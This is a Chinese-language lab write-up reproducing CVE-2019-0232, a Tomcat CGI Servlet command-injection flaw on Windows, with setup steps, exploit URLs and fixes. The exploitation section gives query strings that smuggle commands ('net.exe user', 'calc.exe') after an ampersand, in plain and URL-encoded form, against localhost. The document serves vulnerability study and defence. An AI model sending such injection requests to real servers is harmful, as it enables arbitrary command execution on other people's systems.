一、漏洞简介
2019年4月13号,Apache Tomcat 9.0.18版本公告中提到,本次更新修复了一个代号为CVE-2019-0232的漏洞。
该漏洞只对Windows平台有效,Apache Tomcat 9.0.0.M1到9.0.17,8.5.0到8.5.39和7.0.0到7.0.93中的CGI Servlet很容易受到远程执行代码的影响,攻击者向CGI Servlet发送一个精心设计的请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。
触发该漏洞需要同时满足以下条件:
1. 系统为Windows
2. 启用了CGI Servlet(默认为关闭)
3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)
影响范围:
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
二、测试环境
tomcat8.5.39、windows2008R2、JDK 1.8.0_201
三、测试过程
1.漏洞环境搭建
jdk和tomcat搭建
2.配置apache tomcat
(1)打开tomcat目录中的web.xml文件
\apache-tomcat-8.5.39\conf\web.xml
(2)修改如下配置,默认情况下是被注释的。
打开同目录下的context.xml
修改context.xml,给Context添加privileged属性为true
找到apache-tomcat-8.5.39\webapps\ROOT\WEB-INF目录
新建一个cgi-bin文件夹
创建一个hello.bat的文件
如果不能直接改后缀,需要在文件夹选项中去掉 隐藏已知文件的扩展名
bat脚本内容如下:
echo Content-type: text/html
3.漏洞利用
1.查看用户
http://localhost:8080/cgi-bin/hello.bat?& C:\Windows\System32\net.exe user
url编码特殊字符
http://localhost:8080/cgi-bin/hello.bat?& C%3A%5CWindows%5CSystem32%5Cnet.exe+user
2.打开计算器
http://localhost:8080/cgi-bin/hello.bat?& C:\Windows\System32\calc.exe
http://localhost:8080/cgi-bin/hello.bat?& C%3A%5CWindows%5CSystem32%5Ccalc.exe
四、防御方法
1.开发者在URLDecoder.decode解码后增加一个正则表达式验证,检测url解码后的字符串输入的合法性。
2.用户可以将CGI Servlet初始化参数enableCmdLineArguments设置为false来进行防护。